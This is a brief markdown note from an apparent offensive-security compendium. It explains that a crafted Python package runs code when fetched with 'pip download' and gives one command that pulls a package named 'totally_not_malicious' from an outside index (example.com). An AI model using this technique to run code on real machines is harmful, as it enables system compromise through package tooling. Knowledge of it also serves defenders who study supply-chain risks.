killchain-compendium/Exploits/Python/Pip.md

PIP Exploits

pip download

Python pip executes tar files after the download option has been triggered. Therefore, a hand crafted python module needs to be created and build. After that pip can be used in the following way

pip download totally_not_malicious --index-url http://example.com --trusted-host example.com -v

An in detail blog post has been done by wunderwuzzi on embracethered.com